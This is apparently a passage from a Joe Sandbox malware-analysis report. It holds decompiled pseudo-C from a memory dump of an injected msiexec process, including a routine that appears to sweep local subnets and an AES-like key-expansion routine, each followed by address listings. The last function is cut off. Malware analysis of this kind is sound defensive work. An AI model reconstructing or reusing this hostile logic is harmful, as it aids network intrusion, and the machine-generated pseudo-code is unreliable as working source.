						if( *0x00502890() == 0) {
							 *(_t208 + 0x24d0) = 0;
							r8d = 0x2000;
							E004F5A30();
							r8d = 0x2000;
							if( *_t204() == 0) {
								L24:
								 *((long long*)( *0x004F203A - 0x4ec641ef))();
								goto L25;
							}
							_t101 = 0;
							if(( *(_t208 + 0x24d0) & 0xfffffff8) <= 0) {
								goto L24;
							}
							asm("o16 nop [eax+eax]");
							do {
								r8d = 0x20a;
								E004F5A30();
								r9d = 0x105;
								 *_t219();
								 *0x00500BC0();
								if(_t134 == 0) {
									goto L22;
								}
								 *0x00500C00();
								if( *0x004FD550() == 0x2eca438c) {
									_t146 =  *((intOrPtr*)(0x4f203a)) - 0x4ec641ef;
									 *_t146();
									 *_t146();
									 *((long long*)(0x504260))();
									_t58 =  *((intOrPtr*)(_t208 + 0x20))();
									if(_t134 != 0) {
										_t58 =  *((long long*)(0x5043d0))();
									}
									L32:
									return _t58;
								}
								L22:
								_t101 = _t101 + 1;
							} while (_t101 <  *(_t208 + 0x24d0) >> 3);
							_t204 =  *((intOrPtr*)(_t208 + 0x24d8));
							goto L24;
						}
						 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
						L25:
						if( *0x004F2DE0() == 0) {
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							goto L31;
						}
						_t128 =  *((intOrPtr*)(_t208 + 0x24e0));
					}
				}
			}

0x00504ba2
0x00504ba7
0x00504bb1
0x00504bc1
0x00504bd0
0x00504bdd
0x00504be7
0x00504bec
0x00504bfb
0x00504c0a
0x00504c0a
0x00504c1a
0x00504c23
0x00504c25
0x00504c2b
0x00504c3a
0x00504c3a
0x00504c3f
0x00504c4f
0x00504c52
0x00504c5c
0x00504c65
0x00504c67
0x00504c6d
0x00504c75
0x00504c7b
0x00504c7b
0x00504c6d
0x00504c84
0x00504c91
0x00504c9c
0x00504c9e
0x00504ca6
0x00504cac
0x00504cae
0x00504cae
0x00504cb2
0x00504cbd
0x00504cbf
0x00504cc2
0x00504cc2
0x00504cca
0x00504cd0
0x00504cdb
0x00504cdd
0x00504ce3
0x00504ce5
0x00504ce5
0x00504ce9
0x00504cf4
0x00504cf6
0x00504cf6
0x00504d0b
0x00504d14
0x00504f62
0x00504f62
0x00000000
0x00504d1a
0x00504d21
0x00504d27
0x00504d33
0x00504d49
0x00504d52
0x00504d58
0x00504d60
0x00504d60
0x00504d62
0x00504d6a
0x00000000
0x00000000
0x00504d79
0x00504d84
0x00504d8c
0x00000000
0x00000000
0x00504da7
0x00504dc3
0x00504dce
0x00504ddc
0x00504de9
0x00504dfe
0x00504ec7
0x00504ed7
0x00000000
0x00504ed7
0x00504e04
0x00504e11
0x00000000
0x00000000
0x00504e25
0x00504e30
0x00504e3a
0x00504e40
0x00504e55
0x00504e5e
0x00504e6e
0x00504e76
0x00000000
0x00000000
0x00504e8a
0x00504ea9
0x00504f0b
0x00504f12
0x00504f17
0x00504f21
0x00504f2a
0x00504f3c
0x00504f48
0x00504f48
0x00504f64
0x00504f77
0x00504f77
0x00504eab
0x00504eb2
0x00504eb7
0x00504ebf
0x00000000
0x00504ebf
0x00504dba
0x00504ed9
0x00504ef2
0x00504f60
0x00000000
0x00504f60
0x00504ef4
0x00504ef4
0x00504d60

Strings

?cSz, xrefs: 00504D4B

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00509910, Relevance: .4, Instructions: 381
Crypto

C-Code - Quality: 30%

			E00509910(void* __edx, long long __rax, long long __rcx, long long __rdx, long long __rsi, void* __r9, long long __r12, long long __r13, long long __r14, long long __r15) {
				void* _t142;
				signed int _t162;
				void* _t170;
				signed int _t177;
				signed int _t180;
				signed int _t181;
				void* _t218;
				void* _t221;
				signed int _t223;
				void* _t224;
				signed long long _t235;
				signed long long _t236;
				long long _t240;
				signed long long _t253;
				long long _t263;
				long long* _t264;
				long long* _t266;
				signed long long _t267;
				signed long long _t274;
				signed long long _t275;
				intOrPtr _t279;
				long long _t282;
				long long _t291;
				intOrPtr* _t303;
				intOrPtr* _t304;
				signed long long _t306;
				long long* _t312;
				long long* _t314;
				long long* _t316;
				void* _t319;
				void* _t320;
				signed long long _t328;
				long long _t336;
				long long* _t339;
				long long* _t341;
				long long* _t346;
				long long* _t348;

				_t291 = __rdx;
				 *((long long*)(_t319 + 0x10)) = __rdx;
				 *((long long*)(_t319 + 8)) = __rcx;
				_t316 = _t319 - 0x100;
				_t320 = _t319 - 0x200;
				 *((long long*)(_t316 + 0x20)) = __rax;
				 *((long long*)(_t316 + 0x28)) = __rax;
				 *((long long*)(_t316 + 0x30)) = __rax;
				 *((long long*)(_t316 + 0x38)) = __rax;
				 *((long long*)(_t316 + 0x40)) = __rax;
				 *((long long*)(_t320 + 0x78)) = 0x509f50;
				 *0x00500560();
				if(0 != 0) {
					_t12 = _t291 + 0x50; // 0x50
					r8d = _t12;
					E004F5A30();
					 *((long long*)(_t316 - 0x68)) = _t316 - 0x70;
					 *((long long*)(_t316 - 0x70)) = _t316 - 0x70;
					 *((long long*)( *0x004F22D3 + 0x1b6396))();
					r9d = 0;
					_t235 =  *0x004F11A3 + 0x22763f;
					r8d = 0;
					 *_t235();
					 *((long long*)(_t316 - 0x20)) = __rdx;
					 *(_t316 - 0x28) = _t235;
					 *((long long*)(_t316 - 0x58)) = __rcx;
					 *((intOrPtr*)(_t316 + 0x130)) = 0;
					if( *0xFFFFFFFFD00AF670() != 0x6f) {
						goto L1;
					} else {
						 *((long long*)(_t320 + 0x1f0)) = __r12;
						 *((long long*)(_t320 + 0x1e8)) = __r13;
						 *0x28d05d53();
						 *(_t316 + 0x138) = _t235;
						_t328 = _t235;
						if(_t235 == 0) {
							L5:
							_t142 = 0;
						} else {
							_t274 = _t235;
							if( *0x004F4FE0() == 0) {
								 *((long long*)(_t320 + 0x1f8)) = __rsi;
								 *((long long*)(_t320 + 0x1e0)) = __r14;
								 *((long long*)(_t320 + 0x1d8)) = __r15;
								r15d = 0;
								do {
									if( *((intOrPtr*)(_t328 + 0x1a4)) != 0x18) {
										_t37 = _t328 + 0x1b8; // 0x1b8
										_t303 = _t37;
										if(_t303 != 0) {
											_t314 =  *0x004F3513 + 0x6bde;
											_t348 =  *0x004F34BA + 0x314d4f;
											do {
												 *_t314();
												_t177 =  *_t348();
												_t41 = _t303 + 8; // 0x1c0
												_t274 = _t41;
												_t181 = _t177;
												 *_t314();
												_t180 =  *_t348() & _t181;
												if(_t180 != 0 && (_t180 & 0xffff0000) != 0xa9fe0000) {
													r15d = r15d + ( !_t181 | _t180) - _t180;
												}
												_t303 =  *_t303;
											} while (_t303 != 0);
										}
									}
									_t328 =  *_t328;
								} while (_t328 != 0);
								_t275 = _t274 << 4;
								 *0x004FFCB0();
								 *(_t320 + 0x60) = _t235;
								r15d = 0;
								_t236 =  *(_t316 + 0x138);
								do {
									if( *((intOrPtr*)(_t236 + 0x1a4)) != 0x18) {
										_t336 = _t236 + 0x1b8;
										 *((long long*)(_t320 + 0x58)) = _t336;
										if(_t336 != 0) {
											_t306 =  *((intOrPtr*)(0x4f3513)) + 0x6bde;
											_t266 =  *((intOrPtr*)(0x4f34ba)) + 0x314d4f;
											 *(_t316 - 0x80) = _t306;
											 *((long long*)(_t320 + 0x50)) = _t266;
											do {
												 *_t306();
												_t162 =  *_t266();
												_t275 = _t336 + 8;
												r12d = _t162;
												 *_t306();
												_t223 =  *_t266() & r12d;
												r12d =  !r12d;
												r12d = r12d | _t223;
												if(_t223 != 0 && (_t223 & 0xffff0000) != 0xa9fe0000) {
													_t224 = _t223 + 1;
													if(_t224 < r12d) {
														_t346 =  *0x004F366A + 0x124e41;
														 *((long long*)(_t320 + 0x68)) = 0x4fa5f0;
														_t339 =  *((intOrPtr*)(_t320 + 0x68));
														_t253 = 0x500730;
														 *((long long*)(_t320 + 0x70)) = 0x2a70ddaa;
														asm("o16 nop [eax+eax]");
														do {
															 *(_t320 + 0x42) = _t253;
															 *((intOrPtr*)(_t320 + 0x4a)) = 0;
															 *((short*)(_t320 + 0x4e)) = 0;
															 *((intOrPtr*)(_t320 + 0x40)) = 0x8b000002;
															 *_t266();
															r8d = 0;
															 *((intOrPtr*)(_t320 + 0x44)) = 0;
															 *_t346();
															_t267 = _t253;
															if(_t253 == 0xffffffff) {
																_t306 =  *0x004F2A3A - 0x4acdf8f6;
																do {
																	 *_t306();
																	r8d = 0;
																	 *_t346();
																	_t267 = _t253;
																} while (_t253 == 0xffffffff);
															}
															asm("lock dec eax");
															_t306 = (_t306 << 4) +  *(_t320 + 0x60);
															 *_t306 = _t267;
															 *((intOrPtr*)(_t306 + 8)) =  *_t339();
															 *(_t320 + 0x30) = _t316 - 0x70;
															r9d = 0x10;
															 *(_t320 + 0x28) = _t306;
															_t275 = _t316 + 0x20;
															 *(_t320 + 0x20) = _t253;
															_t170 =  *((intOrPtr*)(_t320 + 0x70))();
															if(_t170 == 0xffffffff) {
																_t275 = _t267;
																_t253 =  *0x004F356A + 0x3b549a;
																 *_t253();
																 *_t306 = 0xffffffff;
																asm("lock dec eax");
															} else {
																if(_t170 == 0) {
																	_t275 = _t267;
																	 *( *((intOrPtr*)(0x4f356a)) + 0x3b549a)();
																	r8d =  *((intOrPtr*)(_t320 + 0x44));
																	_t253 = _t316 - 0x70;
																	 *(_t320 + 0x28) = 0;
																	r9d = 0;
																	 *_t306 = 0xffffffff;
																	 *(_t320 + 0x20) = _t253;
																	 *((intOrPtr*)(_t320 + 0x78))();
																} else {
																	if(_t170 == 1) {
																		r15d = r15d + 1;
																	}
																}
															}
															_t266 =  *((intOrPtr*)(_t320 + 0x50));
															_t224 = _t224 + 1;
														} while (_t224 < r12d);
														_t336 =  *((intOrPtr*)(_t320 + 0x58));
														_t306 =  *(_t316 - 0x80);
													}
												}
												_t336 =  *_t336;
												 *((long long*)(_t320 + 0x58)) = _t336;
											} while (_t336 != 0);
											_t236 =  *(_t316 + 0x138);
										}
									}
									_t236 =  *_t236;
									 *(_t316 + 0x138) = _t236;
								} while (_t236 != 0);
								_t341 =  *(_t320 + 0x60);
								while(1) {
									_t221 = 0;
									_t218 = 0;
									if(r15d == 0) {
										break;
									}
									_t264 = _t341;
									do {
										if( *_t264 != 0xffffffff) {
											if( *0x5792ce0a() -  *((intOrPtr*)(_t264 + 8)) <= 0x1e) {
												_t221 = 1;
											} else {
												_t94 = _t341 + 0x4fa5f00;
												_t96 = _t275 | 0xffffffff;
												_t275 =  *_t94;
												 *_t94 = _t96;
												 *( *((intOrPtr*)(0x4f356a)) + 0x3b549a)();
											}
										}
										_t218 = _t218 + 1;
										_t264 = _t264 + 0x10;
									} while (_t218 < r15d);
									if(_t221 != 0) {
										continue;
									}
									break;
								}
								 *0x00500910();
								if(_t341 != 0) {
									 *0x004FFE30();
								}
								_t304 =  *((intOrPtr*)(_t316 - 0x70));
								if(_t304 != _t316 - 0x70) {
									_t312 = 0x4ffe30;
									do {
										_t279 =  *_t304;
										_t240 =  *((intOrPtr*)(_t304 + 8));
										r8d = 0x80;
										 *_t240 = _t279;
										 *((long long*)(_t279 + 8)) = _t240;
										E004F5A30();
										 *0x00504260();
										_t263 = _t240;
										r9d =  *(_t304 + 0x10) & 0x000000ff;
										 *(_t320 + 0x30) =  *(_t304 + 0x13) & 0x000000ff;
										 *(_t320 + 0x28) =  *(_t304 + 0x12) & 0x000000ff;
										_t282 = _t316 + 0x50;
										 *(_t320 + 0x20) =  *(_t304 + 0x11) & 0x000000ff;
										 *0x00500D10();
										if(_t263 != 0) {
											_t282 = _t263;
											_t240 = 0x5043d0;
											 *0x5d38dc25();
										}
										 *((long long*)(_t316 - 0x10)) = _t240;
										 *((long long*)(_t316 - 8)) = _t240;
										 *((long long*)(_t316 + 0x10)) = _t240;
										 *((intOrPtr*)(_t316 - 0xc)) = 0;
										 *_t316 = _t282;
										 *((long long*)(_t316 + 0x18)) = _t282;
										 *((long long*)(_t316 + 8)) = _t316 + 0x50;
										 *0x00503560();
										 *_t312();
										_t304 =  *((intOrPtr*)(_t316 - 0x70));
									} while (_t304 != _t316 - 0x70);
								}
								 *((long long*)( *0x004F1DE3 - 0x388eb91d))();
								 *((long long*)( *0x004F203A - 0x4ec641ef))();
								_t142 = 1;
							} else {
								goto L5;
							}
						}
						return _t142;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00509910
0x00509910
0x00509915
0x0050991d
0x00509925
0x00509931
0x00509943
0x00509947
0x0050994e
0x00509955
0x0050995c
0x00509972
0x00509976
0x0050998b
0x0050998b
0x0050998f
0x00509998
0x005099a4
0x005099b5
0x005099be
0x005099c1
0x005099c7
0x005099d0
0x005099d2
0x005099e4
0x005099ef
0x005099f5
0x00509a04
0x00000000
0x00509a0a
0x00509a13
0x00509a1b
0x00509a31
0x00509a34
0x00509a3b
0x00509a41
0x00509a53
0x00509a53
0x00509a43
0x00509a4a
0x00509a51
0x00509a5a
0x00509a62
0x00509a6a
0x00509a72
0x00509a75
0x00509a7e
0x00509a80
0x00509a80
0x00509a8b
0x00509a9b
0x00509aa2
0x00509ab0
0x00509ab4
0x00509ab8
0x00509abb
0x00509abb
0x00509abf
0x00509ac1
0x00509ac8
0x00509aca
0x00509ae2
0x00509ae2
0x00509ae5
0x00509ae8
0x00509ab0
0x00509a8b
0x00509aed
0x00509af1
0x00509b02
0x00509b06
0x00509b09
0x00509b0e
0x00509b11
0x00509b20
0x00509b27
0x00509b2d
0x00509b34
0x00509b3c
0x00509b50
0x00509b57
0x00509b5e
0x00509b62
0x00509b67
0x00509b6b
0x00509b6f
0x00509b71
0x00509b75
0x00509b78
0x00509b80
0x00509b83
0x00509b86
0x00509b8b
0x00509ba5
0x00509baa
0x00509bc4
0x00509bcb
0x00509bd7
0x00509bdc
0x00509be2
0x00509be7
0x00509bf0
0x00509bf4
0x00509bf9
0x00509bfd
0x00509c05
0x00509c0d
0x00509c0f
0x00509c12
0x00509c1b
0x00509c1e
0x00509c25
0x00509c2e
0x00509c35
0x00509c3a
0x00509c3c
0x00509c46
0x00509c49
0x00509c4c
0x00509c35
0x00509c52
0x00509c60
0x00509c65
0x00509c6f
0x00509c7b
0x00509c80
0x00509c86
0x00509c8b
0x00509c92
0x00509c97
0x00509c9e
0x00509cf3
0x00509cf6
0x00509cfc
0x00509cfe
0x00509d05
0x00509ca0
0x00509ca2
0x00509cb5
0x00509cbe
0x00509cc0
0x00509cc5
0x00509ccb
0x00509cd4
0x00509cd7
0x00509cde
0x00509ce6
0x00509ca4
0x00509ca7
0x00509ca9
0x00509ca9
0x00509ca7
0x00509ca2
0x00509d0a
0x00509d0f
0x00509d11
0x00509d1a
0x00509d1f
0x00509d1f
0x00509baa
0x00509d23
0x00509d27
0x00509d2c
0x00509d35
0x00509d35
0x00509b3c
0x00509d3c
0x00509d3f
0x00509d46
0x00509d4f
0x00509d54
0x00509d54
0x00509d56
0x00509d5b
0x00000000
0x00000000
0x00509d5d
0x00509d60
0x00509d64
0x00509d7d
0x00509d9d
0x00509d7f
0x00509d88
0x00509d88
0x00509d88
0x00509d88
0x00509d99
0x00509d99
0x00509d7d
0x00509da2
0x00509da4
0x00509da8
0x00509daf
0x00000000
0x00000000
0x00000000
0x00509daf
0x00509dc2
0x00509dce
0x00509ddc
0x00509ddc
0x00509dde
0x00509de9
0x00509e27
0x00509e30
0x00509e30
0x00509e35
0x00509e39
0x00509e3f
0x00509e42
0x00509e4a
0x00509e52
0x00509e59
0x00509e67
0x00509e6c
0x00509e70
0x00509e74
0x00509e78
0x00509e81
0x00509e87
0x00509e90
0x00509e93
0x00509e99
0x00509e99
0x00509eaa
0x00509eae
0x00509eb2
0x00509eba
0x00509ebd
0x00509ec1
0x00509ecc
0x00509ed0
0x00509ed6
0x00509ed8
0x00509ee0
0x00509e30
0x00509efb
0x00509f0f
0x00509f19
0x00000000
0x00000000
0x00000000
0x00509a51
0x00509f48
0x00509f48
0x00509978
0x00509978
0x00509984
0x00509984

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004F98A0, Relevance: .4, Instructions: 377
Crypto

C-Code - Quality: 85%

			E004F98A0(void* __edx, unsigned long long __rax, long long __rbx, signed long long __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, signed int* __r8, long long _a8, long long _a16, long long _a24) {
				signed int _t144;
				signed int _t182;
				signed int _t192;
				signed int _t222;
				signed int _t228;
				signed int _t234;
				signed int _t246;
				signed int _t253;
				signed int _t259;
				signed int _t268;
				signed int _t282;
				void* _t283;
				signed int _t289;
				signed int _t290;
				signed int _t291;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				signed int _t312;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t325;
				unsigned long long _t334;
				signed long long _t335;
				signed long long _t336;
				signed long long _t337;
				unsigned long long _t338;
				signed long long _t339;
				unsigned long long _t340;
				unsigned long long _t341;
				signed long long _t342;
				unsigned long long _t343;
				signed int* _t346;
				signed long long _t347;
				signed long long _t348;
				signed long long _t349;
				unsigned long long _t350;
				signed long long _t351;
				long long _t352;
				signed long long _t360;
				unsigned long long _t361;
				signed long long _t362;
				long long _t364;
				long long _t372;
				long long* _t385;
				signed int* _t387;
				signed int* _t388;
				signed int* _t389;
				signed int* _t390;
				signed int* _t391;
				signed int* _t392;
				signed int* _t393;

				_t372 = __rsi;
				_t364 = __rdi;
				_t360 = __rcx;
				_t352 = __rbx;
				_t334 = __rax;
				_t283 = __edx;
				_t390 = __r8;
				_t387 = __rcx;
				if(__rcx == 0 || __r8 == 0) {
					return _t144 | 0xffffffff;
				} else {
					if((__rdx - 0x00000080 & 0xffffff3f) != 0 || __edx == 0x140) {
						return 0xfffffffe;
					} else {
						_a16 = __rbp;
						if(__edx != 0x80) {
							_t149 =  ==  ? 0xc : 0xe;
							 *((intOrPtr*)(__r8 + 0xf0)) =  ==  ? 0xc : 0xe;
						} else {
							 *((intOrPtr*)(__r8 + 0xf0)) = 0xa;
						}
						_t388 =  &(_t390[1]);
						_a8 = _t352;
						asm("rol eax, 0x8");
						asm("ror ebp, 0x8");
						_a24 = _t372;
						_t325 =  *_t387 & 0xff00ff00 |  *_t387 & 0x00ff00ff;
						 *_t385 = _t364;
						 *_t390 = _t325;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						 *_t388 = _t387[1] & 0xff00ff00 | _t387[1] & 0x00ff00ff;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						_t390[2] = _t387[2] & 0xff00ff00 | _t387[2] & 0x00ff00ff;
						asm("ror ecx, 0x8");
						asm("rol eax, 0x8");
						_t222 = _t387[3] & 0xff00ff00 | _t387[3] & 0x00ff00ff;
						_t390[3] = _t222;
						if(_t283 != 0x80) {
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t390[4] = _t387[4] & 0xff00ff00 | _t387[4] & 0x00ff00ff;
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t228 = _t387[5] & 0xff00ff00 | _t387[5] & 0x00ff00ff;
							_t390[5] = _t228;
							if(_t283 != 0xc0) {
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t390[6] = _t387[6] & 0xff00ff00 | _t387[6] & 0x00ff00ff;
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t234 = _t387[7] & 0xff00ff00 | _t387[7] & 0x00ff00ff;
								_t390[7] = _t234;
								if(_t283 == 0x100) {
									r8d = _t234;
									_t335 = _t334 >> 0x10;
									asm("btc edx, 0x18");
									_t336 = _t335 >> 8;
									_t337 = _t336 >> 0x18;
									_t289 =  *(0x591d3c27 + _t335 * 4) & 0xff000000 ^  *(0x3953fb8f + _t336 * 4) & 0x00ff0000 ^  *(0x502a84 + _t337 * 4) & 0x000000ff ^  *(0x507f8b + _t337 * 4) & 0x0000ff00 ^ _t325;
									_t390[8] = _t289;
									_t290 = _t289 ^  *_t388;
									_t389 =  &(_t390[0xc]);
									_t390[9] = _t290;
									_t291 = _t290 ^ _t390[2];
									_t390[0xa] = _t291;
									_t390[0xb] = _t291 ^ _t390[3];
									_t391 = 0x50c134;
									do {
										_t389 =  &(_t389[8]);
										_t338 = _t337 >> 8;
										r8d =  *(0x507f8b + _t338 * 4);
										_t339 = _t338 >> 0x10;
										r8d = r8d & 0x0000ff00;
										_t340 = _t339 >> 0x18;
										r8d = r8d ^  *(0x3953fb8f + _t339 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x591d3c27 + _t340 * 4) & 0xff000000;
										r8d = r8d ^  *(0x502a84 + _t340 * 4) & 0x000000ff;
										r8d = r8d ^  *(_t389 - 0x40);
										_t182 =  *(_t389 - 0x3c) ^ r8d;
										 *(_t389 - 0x1c) = _t182;
										_t246 =  *(_t389 - 0x38) ^ _t182;
										 *(_t389 - 0x20) = r8d;
										 *(_t389 - 0x14) =  *(_t389 - 0x34) ^ _t246;
										 *(_t389 - 0x18) = _t246;
										_t341 = _t340 >> 0x10;
										r8d =  *(0x591d3c27 + _t341 * 4);
										_t342 = _t341 >> 8;
										r8d = r8d & 0xff000000;
										_t337 = _t342 >> 0x18;
										r8d = r8d ^  *(0x3953fb8f + _t342 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x502a84 + _t337 * 4) & 0x000000ff;
										r8d = r8d ^  *(0x507f8b + _t337 * 4) & 0x0000ff00;
										r8d = r8d ^  *(_t389 - 0x30);
										r8d = r8d ^  *_t391;
										_t391 =  &(_t391[1]);
										 *(_t389 - 0x10) = r8d;
										_t192 =  *(_t389 - 0x2c) ^ r8d;
										 *(_t389 - 0xc) = _t192;
										_t253 =  *(_t389 - 0x28) ^ _t192;
										 *(_t389 - 8) = _t253;
										 *(_t389 - 4) =  *(_t389 - 0x24) ^ _t253;
									} while (_t391 != 0x50c14c);
								}
							} else {
								r8d = _t228;
								_t343 = _t334 >> 0x10;
								asm("btc edx, 0x18");
								_t344 = _t343 >> 8;
								_t346 =  &(_t390[0xa]);
								_t300 =  *(0x4fcc93 + _t343 * 4) & 0xff000000 ^  *(0x6778c359 + (_t343 >> 8) * 4) & 0x00ff0000 ^  *(0x4fe3bd + (_t344 >> 0x18) * 4) & 0x000000ff ^  *(0x1fc0cbbe + (_t344 >> 0x18) * 4) & 0x0000ff00 ^ _t325;
								_t390[6] = _t300;
								_t301 = _t300 ^  *_t388;
								_t390[7] = _t301;
								_t302 = _t301 ^ _t390[2];
								_t390[8] = _t302;
								_t390[9] = _t302 ^ _t390[3];
								_t392 = 0x50c134;
								do {
									_t259 =  *(_t346 - 0x14);
									_t305 =  *(_t346 - 0x18) ^  *(_t346 - 4);
									 *_t346 = _t305;
									_t346 =  &(_t346[6]);
									 *(_t346 - 0x14) = _t259 ^ _t305;
									r8d =  *(_t346 - 0x14);
									_t361 = _t360 >> 0x10;
									r9d =  *(0x4fcc93 + _t361 * 4);
									_t362 = _t361 >> 8;
									r9d = r9d & 0xff000000;
									_t360 = _t362 >> 0x18;
									r9d = r9d ^  *(0x6778c359 + _t362 * 4) & 0x00ff0000;
									r9d = r9d ^  *(0x4fe3bd + _t360 * 4) & 0x000000ff;
									r9d = r9d ^  *(0x1fc0cbbe + _t360 * 4) & 0x0000ff00;
									r9d = r9d ^  *(_t346 - 0x28);
									r9d = r9d ^  *_t392;
									_t392 =  &(_t392[1]);
									 *(_t346 - 0x10) = r9d;
									_t268 =  *(_t346 - 0x24) ^ r9d;
									 *(_t346 - 0xc) = _t268;
									_t312 =  *(_t346 - 0x20) ^ _t268;
									 *(_t346 - 8) = _t312;
									 *(_t346 - 4) =  *(_t346 - 0x1c) ^ _t312;
								} while (_t392 != 0x50c150);
							}
						} else {
							r8d = _t222;
							_t347 = _t334 >> 0x10;
							asm("btc edx, 0x18");
							_t348 = _t347 >> 8;
							_t349 = _t348 >> 0x18;
							_t318 =  *(0x5049e6 + _t347 * 4) & 0xff000000 ^  *(0x610a2853 + _t348 * 4) & 0x00ff0000 ^  *(0x16b537c4 + _t349 * 4) & 0x000000ff ^  *(0x62aa9185 + _t349 * 4) & 0x0000ff00 ^ _t325;
							_t390[4] = _t318;
							_t319 = _t318 ^  *_t388;
							_t390[5] = _t319;
							_t320 = _t319 ^ _t390[2];
							_t390[6] = _t320;
							_t390[7] = _t320 ^ _t390[3];
							_t393 = 0x50c134;
							asm("o16 nop [eax+eax]");
							do {
								_t388 =  &(_t388[4]);
								_t350 = _t349 >> 0x10;
								r8d =  *(0x5049e6 + _t350 * 4);
								_t351 = _t350 >> 8;
								r8d = r8d & 0xff000000;
								_t349 = _t351 >> 0x18;
								r8d = r8d ^  *(0x610a2853 + _t351 * 4) & 0x00ff0000;
								r8d = r8d ^  *(0x16b537c4 + _t349 * 4) & 0x000000ff;
								r8d = r8d ^  *(0x62aa9185 + _t349 * 4) & 0x0000ff00;
								r8d = r8d ^  *(_t388 - 4);
								r8d = r8d ^  *_t393;
								_t393 =  &(_t393[1]);
								_t388[3] = r8d;
								r8d = r8d ^  *_t388;
								_t388[4] = r8d;
								_t282 = _t388[1] ^ r8d;
								_t388[5] = _t282;
								_t388[6] = _t388[2] ^ _t282;
							} while (_t393 != 0x50c158);
						}
						return 0;
					}
				}
			}

0x004f98a0
0x004f98a0
0x004f98a0
0x004f98a0
0x004f98a0
0x004f98a0
0x004f98a4
0x004f98a7
0x004f98ad
0x004f9e7c
0x004f98bc
0x004f98c4
0x004f9e74
0x004f98d6
0x004f98d6
0x004f98e1
0x004f9900
0x004f9903
0x004f98e3
0x004f98e3
0x004f98e3
0x004f990d
0x004f9913
0x004f9918
0x004f9920
0x004f9929
0x004f992e
0x004f9930
0x004f9934
0x004f993d
0x004f9940
0x004f9950
0x004f9959
0x004f995c
0x004f996c
0x004f9976
0x004f9979
0x004f9987
0x004f9989
0x004f9993
0x004f9aee
0x004f9af7
0x004f9b01
0x004f9b0b
0x004f9b0e
0x004f9b1c
0x004f9b1e
0x004f9b28
0x004f9c7e
0x004f9c87
0x004f9c91
0x004f9c9b
0x004f9c9e
0x004f9cac
0x004f9cae
0x004f9cb8
0x004f9cbe
0x004f9cd1
0x004f9d05
0x004f9d11
0x004f9d25
0x004f9d40
0x004f9d49
0x004f9d4d
0x004f9d50
0x004f9d54
0x004f9d58
0x004f9d5c
0x004f9d64
0x004f9d68
0x004f9d70
0x004f9d74
0x004f9d7a
0x004f9d81
0x004f9d87
0x004f9d8b
0x004f9d9b
0x004f9da5
0x004f9db4
0x004f9dbf
0x004f9dc2
0x004f9dca
0x004f9dcd
0x004f9dd1
0x004f9dd9
0x004f9ddd
0x004f9de1
0x004f9deb
0x004f9df2
0x004f9df8
0x004f9dfc
0x004f9e0c
0x004f9e16
0x004f9e1d
0x004f9e2c
0x004f9e2f
0x004f9e33
0x004f9e36
0x004f9e3a
0x004f9e42
0x004f9e45
0x004f9e4d
0x004f9e4f
0x004f9e59
0x004f9e5d
0x004f9e66
0x004f9b2e
0x004f9b2e
0x004f9b41
0x004f9b75
0x004f9b81
0x004f9ba8
0x004f9bb4
0x004f9bbd
0x004f9bc1
0x004f9bc4
0x004f9bc8
0x004f9bcc
0x004f9bd4
0x004f9bd8
0x004f9be0
0x004f9be0
0x004f9be6
0x004f9be9
0x004f9beb
0x004f9bf1
0x004f9bf4
0x004f9bfb
0x004f9c02
0x004f9c09
0x004f9c0d
0x004f9c1e
0x004f9c28
0x004f9c2f
0x004f9c3f
0x004f9c42
0x004f9c46
0x004f9c49
0x004f9c4d
0x004f9c54
0x004f9c57
0x004f9c5d
0x004f9c5f
0x004f9c67
0x004f9c6a
0x004f9c73
0x004f9999
0x004f9999
0x004f99ac
0x004f99e0
0x004f99ec
0x004f9a00
0x004f9a1b
0x004f9a24
0x004f9a28
0x004f9a2b
0x004f9a2f
0x004f9a33
0x004f9a3b
0x004f9a3f
0x004f9a46
0x004f9a50
0x004f9a54
0x004f9a5a
0x004f9a61
0x004f9a67
0x004f9a6b
0x004f9a81
0x004f9a85
0x004f9a8c
0x004f9a9b
0x004f9a9e
0x004f9aa2
0x004f9aa5
0x004f9aa9
0x004f9aad
0x004f9ab0
0x004f9ab8
0x004f9abb
0x004f9ac5
0x004f9ac9
0x004f9a50
0x004f9ae7
0x004f9ae7
0x004f98c4

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004F9E80, Relevance: .4, Instructions: 371
Crypto

C-Code - Quality: 78%

			E004F9E80(signed int __rax, signed int __rcx, signed int __rdx, signed int __r8, signed int __r9, signed int __r10) {
				intOrPtr _t186;
				signed int _t221;
				signed int _t261;
				signed int _t271;
				signed int _t350;
				signed long long _t371;
				unsigned long long _t377;
				signed long long _t378;
				signed long long _t379;
				unsigned long long _t380;
				signed long long _t381;
				signed long long _t382;
				unsigned long long _t383;
				signed long long _t384;
				signed long long _t385;
				signed long long _t386;
				unsigned long long _t389;
				unsigned long long _t392;
				unsigned long long _t393;
				signed long long _t395;
				signed long long _t407;
				unsigned long long _t413;
				signed int* _t414;
				unsigned long long _t419;
				unsigned long long _t424;
				unsigned long long _t425;
				unsigned long long _t430;
				unsigned long long _t432;
				void* _t444;
				unsigned long long _t452;
				unsigned long long _t456;
				unsigned long long _t457;
				unsigned long long _t462;
				signed long long _t464;
				unsigned long long _t468;

				 *((long long*)(_t444 + 0x10)) = __rdx;
